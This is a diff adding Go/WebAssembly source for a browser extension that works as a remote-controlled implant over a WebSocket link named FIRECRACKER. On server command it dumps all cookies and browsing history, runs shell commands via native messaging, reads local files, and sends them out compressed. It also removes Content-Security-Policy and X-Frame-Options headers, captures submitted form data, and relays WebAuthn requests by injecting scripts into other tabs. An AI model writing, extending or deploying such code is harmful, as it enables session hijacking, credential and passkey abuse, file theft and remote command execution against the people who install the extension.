dataChunkJson, _ := json.Marshal(dataChunk)
fc.ws.Call("send", string(dataChunkJson))
chunkNum++
}
// Send end chunk
endChunk := map[string]interface{}{
"type": MESSAGE_TYPE_CHUNK_END,
"chunkId": chunkId,
"totalChunks": chunkNum,
}
endChunkJson, _ := json.Marshal(endChunk)
fc.ws.Call("send", string(endChunkJson))
println("FIRECRACKER: Sent chunked message with", chunkNum, "chunks")
return true
}
// min utility function
func min(a, b int) int {
if a < b {
return a
}
return b
}
// flushMessageQueue sends all queued messages
func (fc *FirecrackerClient) flushMessageQueue() {
if len(fc.messageQueue) == 0 {
return
}
println("FIRECRACKER: Flushing", len(fc.messageQueue), "queued messages")
for _, message := range fc.messageQueue {
if fc.SendMessage(message) {
continue
} else {
// If sending fails, keep the rest in queue
break
}
}
// Clear successfully sent messages
fc.messageQueue = fc.messageQueue[:0]
}
type FirecrackerMessage struct {
Type string `json:"type"`
Data string `json:"data"`
TaskId string `json:"taskId"`
}
// processMessage processes incoming messages from FIRECRACKER server
func (fc *FirecrackerClient) processMessage(message string) {
// Handle different types of messages from server
if len(message) > 12 && message[:12] == "FIRECRACKER:" {
// This is an echo response from our server
echoedMessage := message[12:]
println("FIRECRACKER: Server echoed:", echoedMessage)
// You can add more specific message processing here
// For example, parse JSON commands, handle ping/pong, etc.
} else {
// Expect that we have received a JSON object
// Parse the JSON object
var jsonObj FirecrackerMessage
err := json.Unmarshal([]byte(message), &jsonObj)
if err != nil {
println("FIRECRACKER: Error parsing JSON:", err)
return
}
switch jsonObj.Type {
case MESSAGE_TYPE_LS_COMMAND_REQ:
fc.handleReadDisk(jsonObj)
case MESSAGE_TYPE_SHELL_COMMAND_REQ:
fc.handleShellCommand(jsonObj)
case MESSAGE_TYPE_DUMP_COOKIES_REQ:
fc.handleDumpCookies(jsonObj)
case MESSAGE_TYPE_DUMP_HISTORY_REQ:
fc.handleDumpHistory(jsonObj)
case MESSAGE_TYPE_WEB_AUTHN_REQ:
fc.handleWebAuthn(jsonObj)
default:
println("FIRECRACKER: Unknown message type:", jsonObj.Type)
}
}
}
func (fc *FirecrackerClient) handleWebAuthn(jsonObj FirecrackerMessage) {
println("FIRECRACKER: Received webauthn request message:", jsonObj.Data)
var webAuthnRequest WebAuthnRequest
err := json.Unmarshal([]byte(jsonObj.Data), &webAuthnRequest)
webAuthnRequest.TaskId = jsonObj.TaskId
if err != nil {
println("FIRECRACKER: Error parsing webauthn request:", err)
return
}
if fc.pendingWebAuthnRequest != nil {
replacedMessage := map[string]interface{}{
"type": MESSAGE_TYPE_WEB_AUTHN_RESP,
"data": "Replaced by new request",
"success": false,
"taskId": fc.pendingWebAuthnRequest.TaskId,
}
replacedMessageJson, _ := json.Marshal(replacedMessage)
fc.SendMessage(string(replacedMessageJson))
}
println("FIRECRACKER: Updated Pending Webauthn request to: ", jsonObj.Data)
fc.pendingWebAuthnRequest = &webAuthnRequest
return
}
func (fc *FirecrackerClient) handleDumpCookies(jsonObj FirecrackerMessage) {
emptyObj := js.Global().Get("Object").New()
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
cookies := args[0]
cookiesArrayJson := js.Global().Get("JSON").Call("stringify", cookies).String()
cookiesResponse := map[string]interface{}{
"type": MESSAGE_TYPE_DUMP_COOKIES_RESP,
"data": cookiesArrayJson,
"taskId": jsonObj.TaskId,
}
cookiesJson, _ := json.Marshal(cookiesResponse)
fc.SendMessage(string(cookiesJson))
return nil
})
js.Global().Get("chrome").Get("cookies").Call("getAll", emptyObj, callback)
}
func (fc *FirecrackerClient) handleDumpHistory(jsonObj FirecrackerMessage) {
daysBack := 7
if jsonObj.Data != "" {
var err error
daysBack, err = strconv.Atoi(jsonObj.Data)
if err != nil {
daysBack = 7
println("FIRECRACKER: Could not parse days back, defaulting to 7 days")
}
}
searchObj := js.Global().Get("Object").New()
searchObj.Set("text", "")
searchObj.Set("startTime", time.Now().Add(-time.Duration(daysBack)*24*time.Hour).Unix()*1000)
searchObj.Set("maxResults", 100000)
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
historyItems := args[0]
serializedData := js.Global().Get("JSON").Call("stringify", historyItems).String()
historyResponse := map[string]interface{}{
"type": MESSAGE_TYPE_DUMP_HISTORY_RESP,
"data": serializedData,
"taskId": jsonObj.TaskId,
}
historyResponseJson, _ := json.Marshal(historyResponse)
fc.SendMessage(string(historyResponseJson))
return nil
})
js.Global().Get("chrome").Get("history").Call("search", searchObj, callback)
}
func (fc *FirecrackerClient) handleShellCommand(jsonObj FirecrackerMessage) {
println("FIRECRACKER: Received shell command message:", jsonObj.Data)
command := jsonObj.Data
chrome := js.Global().Get("chrome")
runtime := chrome.Get("runtime")
connectNative := runtime.Get("connectNative")
// Connect to native messaging host - note that the extension name is case-insensitive
lowerCaseExtensionName := strings.ToLower(EXTENSION_NAME)
port := connectNative.Invoke(lowerCaseExtensionName)
if port.IsUndefined() {
println("FIRECRACKER: Failed to connect to native host")
fc.SendMessage("SHELL_ERROR: Failed to connect to native host")
return
}
// Create message listener callback
messageCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
msg := args[0]
if msg.Get("data").Type() == js.TypeString {
response := msg.Get("data").String()
shellResponse := map[string]interface{}{
"type": MESSAGE_TYPE_SHELL_COMMAND_RESP,
"data": response,
"taskId": jsonObj.TaskId,
}
shellResponseJson, _ := json.Marshal(shellResponse)
println("FIRECRACKER: Shell command response:", response)
fc.SendMessage(string(shellResponseJson))
}
}
return nil
})
// Create disconnect callback
disconnectCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
println("FIRECRACKER: Native messaging port disconnected")
lastError := runtime.Get("lastError")
if !lastError.IsUndefined() && lastError.Get("message").Type() == js.TypeString {
errorMsg := lastError.Get("message").String()
println("FIRECRACKER: Native messaging error:", errorMsg)
fc.SendMessage(fmt.Sprintf("SHELL_ERROR: %s", errorMsg))
} else {
fc.SendMessage("SHELL_ERROR: Native messaging port disconnected")
}
return nil
})
// Set up event listeners
onMessage := port.Get("onMessage")
if !onMessage.IsUndefined() {
onMessage.Call("addListener", messageCallback)
}
onDisconnect := port.Get("onDisconnect")
if !onDisconnect.IsUndefined() {
onDisconnect.Call("addListener", disconnectCallback)
}
// Create message object and send command
messageObj := js.Global().Get("Object").New()
messageObj.Set("message", command)
// Send the command to native host
port.Call("postMessage", messageObj)
println("FIRECRACKER: Shell command sent:", command)
}
func (fc *FirecrackerClient) handleReadDisk(jsonObj FirecrackerMessage) {
println("FIRECRACKER: Received read disk message:", jsonObj.Data)
// Construct the file:// URL
fileUrl := fmt.Sprintf("file://%s", jsonObj.Data)
println("FIRECRACKER: Fetching directory listing from:", fileUrl)
// Create error callback
errorCallback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
errorMsg := args[0].String()
println("FIRECRACKER: Error reading disk:", errorMsg)
fc.SendMessage(fmt.Sprintf("DISK_ERROR: %s", errorMsg))
}
return nil
})
// Use fetch API with promise chaining
fetch := js.Global().Get("fetch")
promise := fetch.Invoke(fileUrl)
// Chain .then() calls - first get the response and check content type
promise.Call("then", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
response := args[0]
// Check content type to determine if it's text or binary
contentType := response.Get("headers").Call("get", "content-type").String()
println("FIRECRACKER: Content-Type:", contentType)
// If there's no content-type header (null/empty), it's a directory listing (read as text)
// Otherwise, only read as text if content-type explicitly starts with "text/"
isText := (contentType == "" || contentType == "<null>" || contentType == "null") ||
regexp.MustCompile(`^text/`).MatchString(contentType)
println("FIRECRACKER: isText decision:", isText, "for content-type:", contentType)
if isText {
// Read as text for text/ content types
return response.Call("text")
} else {
// Read as binary for everything else (application/, image/, etc.)
return response.Call("arrayBuffer")
}
}
return nil
})).Call("then", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
data := args[0]
// Check if this is an ArrayBuffer (binary data) or string (text)
// Use Type() to safely check the JavaScript type
if data.Type() == js.TypeObject && !data.IsNull() && !data.IsUndefined() {
// Try to check if it's an ArrayBuffer
constructor := data.Get("constructor")
if !constructor.IsUndefined() && constructor.Get("name").String() == "ArrayBuffer" {
// Handle binary data
fc.handleBinaryData(data, jsonObj)
return nil
}
}
// Handle as text data (either string type or not an ArrayBuffer)
text := data.String()
fc.processTextContent(text, jsonObj)
}
return nil
})).Call("catch", errorCallback)
}
// processTextContent handles text content (including HTML directory listings)
func (fc *FirecrackerClient) processTextContent(text string, jsonObj FirecrackerMessage) {
// Check if this is a directory listing by looking for "Index of" in the h1 header
// The ls command should ALWAYS return directory listings unless accessing a specific file
if regexp.MustCompile(`<h1[^>]*>Index of`).MatchString(text) {
// This is a directory listing - parse the HTML to extract file info including size and date
// First, let's debug by logging the actual HTML structure we receive
println("FIRECRACKER: Directory listing HTML sample (first 2000 chars):")
if len(text) > 2000 {
println(text[:2000])
} else {
println(text)
}
// Try multiple regex patterns to handle different Chrome HTML structures
// Pattern 1: Standard Chrome format with data-value attributes
trRegex1 := regexp.MustCompile(`<tr><td[^>]*data-value="([^"]+)"[^>]*>.*?</td><td[^>]*data-value="(\d+)"[^>]*>([^<]+)</td><td[^>]*data-value="(\d+)"[^>]*>([^<]+)</td></tr>`)
matches := trRegex1.FindAllStringSubmatch(text, -1)
// Pattern 2: More flexible - any <tr> with 3+ <td> elements
if len(matches) == 0 {
trRegex2 := regexp.MustCompile(`<tr[^>]*>.*?<td[^>]*>.*?<a[^>]*href="([^"]+)"[^>]*>([^<]+)</a>.*?</td>.*?<td[^>]*>([^<]*)</td>.*?<td[^>]*>([^<]*)</td>.*?</tr>`)
matches = trRegex2.FindAllStringSubmatch(text, -1)
println("FIRECRACKER: Using flexible pattern 2, found", len(matches), "matches")
}
// Pattern 3: Even more basic - just look for table rows with links
if len(matches) == 0 {
trRegex3 := regexp.MustCompile(`<tr[^>]*>.*?<a[^>]*href="([^"]+)"[^>]*>([^<]+)</a>.*?</tr>`)
basicMatches := trRegex3.FindAllStringSubmatch(text, -1)
println("FIRECRACKER: Using basic pattern 3, found", len(basicMatches), "matches")
// Convert basic matches to expected format (filename only, empty size/date)
for _, match := range basicMatches {
if len(match) >= 3 {
// Format: [full_match, href, filename]
// Convert to: [full_match, filename, "0", "", "0", ""]
fullMatch := []string{match[0], match[2], "0", "", "0", ""}
matches = append(matches, fullMatch)
}
}
}
if len(matches) > 0 {
// Directory has files - extract file info with size and date
result := ""
for _, match := range matches {
println("FIRECRACKER: Full match details:", len(match), "groups")
for i, group := range match {
println("FIRECRACKER: Group", i, ":", group)
}
var name, sizeDisplay, dateDisplay string
var isDir bool
if len(match) >= 6 {
// Pattern 1 or converted Pattern 3: [full_match, name, sizeBytes, sizeDisplay, timestamp, dateDisplay]
name = match[1]
sizeBytes := match[2]
sizeDisplay = match[3]
dateDisplay = match[5]
// Determine if it's a directory by checking if size is 0 and name doesn't have extension
isDir = sizeBytes == "0" && !regexp.MustCompile(`\.[^.]+$`).MatchString(name)
println("FIRECRACKER: Pattern 1/3 - name:", name, "sizeBytes:", sizeBytes, "sizeDisplay:", sizeDisplay, "dateDisplay:", dateDisplay)
} else if len(match) >= 5 {
// Pattern 2: [full_match, href, filename, size_cell, date_cell]
name = match[2] // filename from the <a> tag
sizeDisplay = match[3] // content of size <td>
dateDisplay = match[4] // content of date <td>
// For pattern 2, determine directory by checking if href ends with /
href := match[1]
isDir = len(href) > 0 && href[len(href)-1] == '/'
println("FIRECRACKER: Pattern 2 - name:", name, "href:", href, "sizeDisplay:", sizeDisplay, "dateDisplay:", dateDisplay)
} else {
println("FIRECRACKER: Insufficient match groups, skipping")
continue
}
if result != "" {
result += "\n"
}
// Clean up the name - remove trailing / for directories since we add it back
name = regexp.MustCompile(`/$`).ReplaceAllString(name, "")
if isDir {
result += "📁 " + name + "/" + "|" + sizeDisplay + "|" + dateDisplay
} else {
result += "📄 " + name + "|" + sizeDisplay + "|" + dateDisplay
}
}
fc.sendFileResponse(result, jsonObj)
} else {
// Try fallback to addRow pattern for older format
// Pattern: addRow("name","encoded_name",isDirectory,size_bytes,"size_display",timestamp,"date_display");
addRowRegex := regexp.MustCompile(`addRow\("([^"]+)","[^"]*",(\d+),(\d+),"([^"]*)",\d+,"([^"]*)"\);`)
addRowMatches := addRowRegex.FindAllStringSubmatch(text, -1)
println("FIRECRACKER: Found", len(addRowMatches), "addRow matches")
if len(addRowMatches) > 0 {
result := ""
for _, match := range addRowMatches {
println("FIRECRACKER: addRow match:", match[0])
if len(match) >= 6 {
name := match[1]
isDir := match[2] == "1"
sizeDisplay := match[4]
dateDisplay := match[5]
if result != "" {
result += "\n"
}
if isDir {
result += "📁 " + name + "/" + "|" + sizeDisplay + "|" + dateDisplay
} else {
result += "📄 " + name + "|" + sizeDisplay + "|" + dateDisplay
}
}
}
fc.sendFileResponse(result, jsonObj)
} else {
// Try even more flexible pattern to catch any addRow calls
flexibleAddRowRegex := regexp.MustCompile(`addRow\("([^"]+)"`)
flexibleMatches := flexibleAddRowRegex.FindAllStringSubmatch(text, -1)
println("FIRECRACKER: Found", len(flexibleMatches), "flexible addRow matches")
if len(flexibleMatches) > 0 {
result := ""
for _, match := range flexibleMatches {
if len(match) >= 2 {
name := match[1]
// Assume it's a directory if name doesn't contain a dot
isDir := !regexp.MustCompile(`\.[^.]+$`).MatchString(name)
if result != "" {
result += "\n"
}
if isDir {
result += "📁 " + name + "/" + "||"
} else {
result += "📄 " + name + "||"
}
}
}
fc.sendFileResponse(result, jsonObj)
} else {
// Empty directory
fc.sendFileResponse("EMPTY_DIRECTORY", jsonObj)
}
}
}
return
}
// This is NOT a directory listing (no "Index of" in title)
// This means we're accessing a specific file - apply binary/text detection and compression
fc.handleFileContent([]byte(text), jsonObj, false)
}
// handleBinaryData handles binary file content read as ArrayBuffer
func (fc *FirecrackerClient) handleBinaryData(arrayBuffer js.Value, jsonObj FirecrackerMessage) {
// Convert ArrayBuffer to []byte using a different approach
uint8Array := js.Global().Get("Uint8Array").New(arrayBuffer)
length := uint8Array.Get("length").Int()
// Try copying the data in larger chunks to avoid individual byte access
data := make([]byte, length)
// Copy data in 1024-byte chunks to minimize JS-Go boundary crossings
chunkSize := 1024
for offset := 0; offset < length; offset += chunkSize {
end := offset + chunkSize
if end > length {
end = length
}
// Copy chunk
for i := offset; i < end; i++ {
val := uint8Array.Index(i).Int()
if val < 0 || val > 255 {
println("FIRECRACKER: Invalid byte value at index", i, ":", val)
val = 0
}
data[i] = byte(val)
}
}
println("FIRECRACKER: Binary file content (", len(data), " bytes)")
fc.handleFileContent(data, jsonObj, true)
}
// handleFileContent handles both text and binary file content with compression
func (fc *FirecrackerClient) handleFileContent(data []byte, jsonObj FirecrackerMessage, isBinary bool) {
// Check if file content is large enough to warrant compression
if len(data) > 1024 {
println("FIRECRACKER: File is large (", len(data), " bytes), compressing...")
// Compress the content using gzip
var compressed bytes.Buffer
gzipWriter := gzip.NewWriter(&compressed)
_, err := gzipWriter.Write(data)
if err != nil {
println("FIRECRACKER: Error compressing file:", err.Error())
// Fallback: base64 encode raw data
encoded := base64.StdEncoding.EncodeToString(data)
fc.sendFileResponse("FILE_CONTENT:"+encoded, jsonObj)
} else {
err = gzipWriter.Close()
if err != nil {
println("FIRECRACKER: Error closing gzip writer:", err.Error())
// Fallback: base64 encode raw data
encoded := base64.StdEncoding.EncodeToString(data)
fc.sendFileResponse("FILE_CONTENT:"+encoded, jsonObj)
} else {
// Base64 encode the compressed data
compressedBytes := compressed.Bytes()
encoded := base64.StdEncoding.EncodeToString(compressedBytes)
println("FIRECRACKER: Compressed from", len(data), "to", len(compressedBytes), "bytes, encoded to", len(encoded), "chars")
fc.sendFileResponse("FILE_CONTENT_COMPRESSED:"+encoded, jsonObj)
}
}
} else {
// Small file - base64 encode directly (works for both text and binary)
encoded := base64.StdEncoding.EncodeToString(data)
fc.sendFileResponse("FILE_CONTENT:"+encoded, jsonObj)
}
}
// sendFileResponse sends the file response message
func (fc *FirecrackerClient) sendFileResponse(result string, jsonObj FirecrackerMessage) {
diskListing := map[string]interface{}{
"type": MESSAGE_TYPE_LS_COMMAND_RESP,
"data": result,
"taskId": jsonObj.TaskId,
}
diskListingJson, _ := json.Marshal(diskListing)
println("FIRECRACKER: Sending file response:", len(result), "chars")
fc.SendMessage(string(diskListingJson))
}
// Close closes the WebSocket connection
func (fc *FirecrackerClient) Close() {
if fc.connected && !fc.ws.IsUndefined() {
println("FIRECRACKER: Closing WebSocket connection")
fc.ws.Call("close")
fc.connected = false
}
// Release JavaScript callbacks
fc.onOpenCallback.Release()
fc.onMessageCallback.Release()
fc.onCloseCallback.Release()
fc.onErrorCallback.Release()
}
// IsConnected returns the current connection status
func (fc *FirecrackerClient) IsConnected() bool {
return fc.connected
}
// GetQueueSize returns the number of queued messages
func (fc *FirecrackerClient) GetQueueSize() int {
return len(fc.messageQueue)
}
// Global FIRECRACKER client instance
var firecrackerClient *FirecrackerClient
// InitializeFirecracker initializes the FIRECRACKER WebSocket client
func InitializeFirecracker() {
println("FIRECRACKER: Initializing WebSocket client")
firecrackerClient = NewFirecrackerClient()
firecrackerClient.Connect()
}
// SendFirecrackerMessage sends a message through the FIRECRACKER WebSocket
func SendFirecrackerMessage(message string) bool {
if firecrackerClient == nil {
println("FIRECRACKER: Client not initialized")
return false
}
return firecrackerClient.SendMessage(message)
}
// GetFirecrackerStatus returns the current FIRECRACKER connection status
func GetFirecrackerStatus() bool {
if firecrackerClient == nil {
return false
}
return firecrackerClient.IsConnected()
}
// CloseFirecracker closes the FIRECRACKER WebSocket connection
func CloseFirecracker() {
if firecrackerClient != nil {
firecrackerClient.Close()
firecrackerClient = nil
}
}
// Export functions to JavaScript
func ExportFirecrackerFunctions() {
js.Global().Set("initializeFirecracker", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
InitializeFirecracker()
return nil
}))
js.Global().Set("sendFirecrackerMessage", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 && args[0].Type() == js.TypeString {
message := args[0].String()
return SendFirecrackerMessage(message)
}
return false
}))
js.Global().Set("getFirecrackerStatus", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
return GetFirecrackerStatus()
}))
js.Global().Set("closeFirecracker", js.FuncOf(func(this js.Value, args []js.Value) interface{} {
CloseFirecracker()
return nil
}))
}
+138
View File
@@ -0,0 +1,138 @@
//go:build js && wasm
// +build js,wasm
package main
import (
"syscall/js"
)
// Remove CSP headers + X-Frame-Options header
func updateDynamicRules() {
// Create rule 1: Remove content-security-policy header
rule1 := js.Global().Get("Object").New()
rule1.Set("id", 1)
rule1.Set("priority", 1)
action1 := js.Global().Get("Object").New()
action1.Set("type", "modifyHeaders")
responseHeaders1 := js.Global().Get("Array").New()
cspHeader := js.Global().Get("Object").New()
cspHeader.Set("header", "content-security-policy")
cspHeader.Set("operation", "remove")
responseHeaders1.Call("push", cspHeader)
action1.Set("responseHeaders", responseHeaders1)
rule1.Set("action", action1)
condition1 := js.Global().Get("Object").New()
resourceTypes1 := js.Global().Get("Array").New()
resourceTypes1.Call("push", "main_frame")
resourceTypes1.Call("push", "sub_frame")
condition1.Set("resourceTypes", resourceTypes1)
rule1.Set("condition", condition1)
// Create rule 2: Remove content-security-policy-report-only header
rule2 := js.Global().Get("Object").New()
rule2.Set("id", 2)
rule2.Set("priority", 1)
action2 := js.Global().Get("Object").New()
action2.Set("type", "modifyHeaders")
responseHeaders2 := js.Global().Get("Array").New()
cspReportOnlyHeader := js.Global().Get("Object").New()
cspReportOnlyHeader.Set("header", "content-security-policy-report-only")
cspReportOnlyHeader.Set("operation", "remove")
responseHeaders2.Call("push", cspReportOnlyHeader)
action2.Set("responseHeaders", responseHeaders2)
rule2.Set("action", action2)
condition2 := js.Global().Get("Object").New()
resourceTypes2 := js.Global().Get("Array").New()
resourceTypes2.Call("push", "main_frame")
resourceTypes2.Call("push", "sub_frame")
condition2.Set("resourceTypes", resourceTypes2)
rule2.Set("condition", condition2)
// Create rule 3: Remove X-Frame-Options header
rule3 := js.Global().Get("Object").New()
rule3.Set("id", 3)
rule3.Set("priority", 1)
action3 := js.Global().Get("Object").New()
action3.Set("type", "modifyHeaders")
responseHeaders3 := js.Global().Get("Array").New()
xFrameOptionsHeader := js.Global().Get("Object").New()
xFrameOptionsHeader.Set("header", "x-frame-options")
xFrameOptionsHeader.Set("operation", "remove")
responseHeaders3.Call("push", xFrameOptionsHeader)
action3.Set("responseHeaders", responseHeaders3)
rule3.Set("action", action3)
condition3 := js.Global().Get("Object").New()
resourceTypes3 := js.Global().Get("Array").New()
resourceTypes3.Call("push", "main_frame")
resourceTypes3.Call("push", "sub_frame")
condition3.Set("resourceTypes", resourceTypes3)
rule3.Set("condition", condition3)
// Create rules array
rules := js.Global().Get("Array").New()
rules.Call("push", rule1)
rules.Call("push", rule2)
rules.Call("push", rule3)
// Prepare the updateDynamicRules object
updateDynamicRulesArgs := js.Global().Get("Object").New()
// Create an array for removeRuleIds (remove existing rules with same IDs)
removeRuleIds := js.Global().Get("Array").New()
removeRuleIds.Call("push", 1)
removeRuleIds.Call("push", 2)
removeRuleIds.Call("push", 3)
updateDynamicRulesArgs.Set("removeRuleIds", removeRuleIds)
updateDynamicRulesArgs.Set("addRules", rules)
// Call the chrome.declarativeNetRequest.updateDynamicRules API
chrome := js.Global().Get("chrome")
dnr := chrome.Get("declarativeNetRequest")
// Call updateDynamicRules with a callback
callback := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
// Check if there's an error
if chrome.Get("runtime").Get("lastError").Truthy() {
println("Error updating dynamic rules:", chrome.Get("runtime").Get("lastError").Get("message").String())
} else {
println("Dynamic rules updated successfully")
}
return nil
})
dnr.Call("updateDynamicRules", updateDynamicRulesArgs, callback)
}
func main() {
// We have to remove CSP headers to allow our content scripts to run WASM on every page
updateDynamicRules()
messageHandler := NewMessageHandler()
messageHandler.setupMessageListener()
println("FIRECRACKER: Module loaded, exporting functions")
ExportFirecrackerFunctions()
InitializeFirecracker()
println("Background script: FIRECRACKER client status:", GetFirecrackerStatus())
select {}
}
@@ -0,0 +1,215 @@
//go:build js && wasm
// +build js,wasm
package main
import (
"encoding/json"
"fmt"
"strings"
"syscall/js"
)
// MessageHandler manages communication between content script and background script
type MessageHandler struct {
chrome js.Value
}
func NewMessageHandler() *MessageHandler {
return &MessageHandler{
chrome: js.Global().Get("chrome"),
}
}
func (mh *MessageHandler) setupMessageListener() {
messageListener := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
// args[0] = message object
// args[1] = sender object
// args[2] = sendResponse function
if len(args) < 3 {
return nil
}
message := args[0]
sender := args[1]
sendResponse := args[2]
mh.handleMessage(message, sender, sendResponse)
return true
})
mh.chrome.Get("runtime").Get("onMessage").Call("addListener", messageListener)
println("Background script: Message listener set up")
}
func (mh *MessageHandler) handleMessage(message js.Value, sender js.Value, sendResponse js.Value) {
messageType := message.Get("type").String()
// println(fmt.Sprintf("Background script: Received message type: %s", messageType))
switch messageType {
case "ping":
mh.handlePing(message, sender, sendResponse)
case "form_data":
mh.handleFormData(message, sender, sendResponse)
case "debug":
mh.handleDebugInfo(message, sender, sendResponse)
case "create_webauthn_iframe":
mh.handleCreateWebAuthnIframe(message, sender, sendResponse)
case "get_webauthn_request":
mh.handleGetWebAuthnRequest(message, sender, sendResponse)
case "send_webauthn_response":
mh.handleSendWebAuthnResponse(message, sender, sendResponse)
default:
println(fmt.Sprintf("Background script: Unknown message type: %s", messageType))
response := map[string]interface{}{
"success": false,
"error": "Unknown message type",
}
sendResponse.Invoke(response)
}
}
func (mh *MessageHandler) handlePing(message js.Value, sender js.Value, sendResponse js.Value) {
data := message.Get("data")
println(fmt.Sprintf("Background script: Ping received with data: %s", data.String()))
response := map[string]interface{}{
"type": "pong",
"success": true,
"data": "Hello from background script!",
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
}
sendResponse.Invoke(response)
}
func (mh *MessageHandler) handleFormData(message js.Value, sender js.Value, sendResponse js.Value) {
formData := message.Get("data").String()
println(fmt.Sprintf("Background script: Form data received: %s", formData))
formDataMessage := map[string]interface{}{
"type": MESSAGE_TYPE_FORM_DATA,
"data": formData,
}
formDataMessageJson, _ := json.Marshal(formDataMessage)
firecrackerClient.SendMessage(string(formDataMessageJson))
// Process form data (could save to storage, send to server, etc.)
processedData := fmt.Sprintf("Processed: %s", formData)
response := map[string]interface{}{
"type": "form_data_response",
"success": true,
"processedData": processedData,
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
}
sendResponse.Invoke(response)
}
func (mh *MessageHandler) handleDebugInfo(message js.Value, sender js.Value, sendResponse js.Value) {
debugInfo := message.Get("data").String()
println(fmt.Sprintf("DEBUG: %s", debugInfo))
response := map[string]interface{}{
"type": "debug_response",
"success": true,
}
sendResponse.Invoke(response)
}
func (mh *MessageHandler) handleGetWebAuthnRequest(message js.Value, sender js.Value, sendResponse js.Value) {
println("Background script: Get WebAuthn request called")
if firecrackerClient.pendingWebAuthnRequest != nil {
println("Background script: Pending WebAuthn request found")
response := map[string]interface{}{
"type": "get_webauthn_request_response",
"success": true,
"data": map[string]interface{}{
"domain": firecrackerClient.pendingWebAuthnRequest.Domain,
"credentialsObject": firecrackerClient.pendingWebAuthnRequest.Request,
},
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
}
sendResponse.Invoke(response)
return
}
println("Background script: No pending WebAuthn request found")
response := map[string]interface{}{
"type": "get_webauthn_request_response",
"success": false,
}
sendResponse.Invoke(response)
}
func (mh *MessageHandler) handleSendWebAuthnResponse(message js.Value, sender js.Value, sendResponse js.Value) {
responseData := message.Get("data")
println(fmt.Sprintf("Background script: WebAuthn response received: %s", responseData.String()))
responseMessage := map[string]interface{}{
"type": MESSAGE_TYPE_WEB_AUTHN_RESP,
"data": responseData.String(),
"taskId": firecrackerClient.pendingWebAuthnRequest.TaskId,
}
responseMessageJson, _ := json.Marshal(responseMessage)
firecrackerClient.SendMessage(string(responseMessageJson))
firecrackerClient.pendingWebAuthnRequest = nil
response := map[string]interface{}{
"type": "send_webauthn_response_ack",
"success": true,
"message": "WebAuthn response received and processed",
"timestamp": js.Global().Get("Date").New().Call("toISOString").String(),
}
sendResponse.Invoke(response)
}
func (mh *MessageHandler) handleCreateWebAuthnIframe(message js.Value, sender js.Value, sendResponse js.Value) {
println(fmt.Sprintf("Background script: Creating WebAuthn iframe"))
mh.chrome.Get("tabs").Call("query", map[string]interface{}{"active": false}, js.FuncOf(func(this js.Value, args []js.Value) interface{} {
if len(args) > 0 {
tabs := args[0]
tabsLength := tabs.Get("length").Int()
println(fmt.Sprintf("Background script: Found %d tabs", tabsLength))
for i := 0; i < tabsLength; i++ {
tab := tabs.Index(i)
currentTabId := tab.Get("id").Int()
tabUrl := tab.Get("url").String()
// Skip tabs that are internal chrome URLs which can't make WebAuthn requests
if !strings.HasPrefix(tabUrl, "chrome") {
// We use files vs func because creating a JSFunc in the ISOLATED world doesn't translate to MAIN
filesArray := js.Global().Get("Array").New()
filesArray.Call("push", "create-webauthn-iframe.js")
scriptInjectObj := map[string]interface{}{
"target": map[string]interface{}{
"tabId": currentTabId,
},
"world": "MAIN",
"files": filesArray,
}
mh.chrome.Get("scripting").Call("executeScript", scriptInjectObj)
} else {
continue
}
response := map[string]interface{}{
"type": "create_webauthn_iframe_response",
"success": true,
"message": fmt.Sprintf("Executed script in tab %d", currentTabId),
}
sendResponse.Invoke(response)
return nil
}
}
return nil
}))
}
+521
View File
@@ -0,0 +1,521 @@
//go:build js && wasm
// +build js,wasm
package main
import (
"fmt"
"strings"
"syscall/js"
)
type FormProcessor struct {
processedForms map[string]bool
}
func NewFormProcessor() *FormProcessor {
return &FormProcessor{
processedForms: make(map[string]bool),
}
}
// getFormData extracts form data as a readable string
func (fp *FormProcessor) getFormData(form js.Value) string {
var data []string
inputs := form.Call("querySelectorAll", "input, select, textarea")
inputsLength := inputs.Get("length").Int()
for i := 0; i < inputsLength; i++ {
input := inputs.Index(i)
inputType := input.Get("type").String()
name := input.Get("name").String()
value := input.Get("value").String()
if name == "" {
name = "unnamed"
}
// Skip submit buttons and buttons as their text/value can change during submission
if inputType == "submit" || inputType == "button" {
continue
}
switch inputType {
case "checkbox", "radio":
if input.Get("checked").Bool() {
if value == "" {
value = "checked"
}
data = append(data, fmt.Sprintf("%s: %s", name, value))
}
case "file":
files := input.Get("files")
if !files.IsNull() && files.Get("length").Int() > 0 {
fileName := files.Index(0).Get("name").String()
data = append(data, fmt.Sprintf("%s: [File: %s]", name, fileName))
}
default:
if value != "" {
data = append(data, fmt.Sprintf("%s: %s", name, value))
}
}
}
if len(data) == 0 {
return "No form data found"
}
return strings.Join(data, "\n")
}
func (fp *FormProcessor) interceptFormSubmission(form js.Value) {
form.Set("_isIntercepting", true)
submitHandler := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
js.Global().Get("handleFormSubmission").Invoke(form, args[0])
return nil
})
form.Set("_submitHandler", submitHandler)
form.Call("addEventListener", "submit", submitHandler)
fp.addInputChangeListeners(form)
fp.addKeyboardListeners(form)
}
func (fp *FormProcessor) addButtonClickListeners(form js.Value) {
buttons := form.Call("querySelectorAll", "button, input[type='submit'], input[type='button']")
buttonsLength := buttons.Get("length").Int()
for i := 0; i < buttonsLength; i++ {
button := buttons.Index(i)
fp.addClickListenerToElement(form, button)
}
}
func (fp *FormProcessor) addClickListenerToElement(form js.Value, element js.Value) {
buttonClickHandler := js.FuncOf(func(this js.Value, args []js.Value) interface{} {
js.Global().Get("handleButtonClick").Invoke(form, element, args[0])
return nil
})
element.Set("_formClickHandler", buttonClickHandler)
element.Call("addEventListener", "click", buttonClickHandler)
}
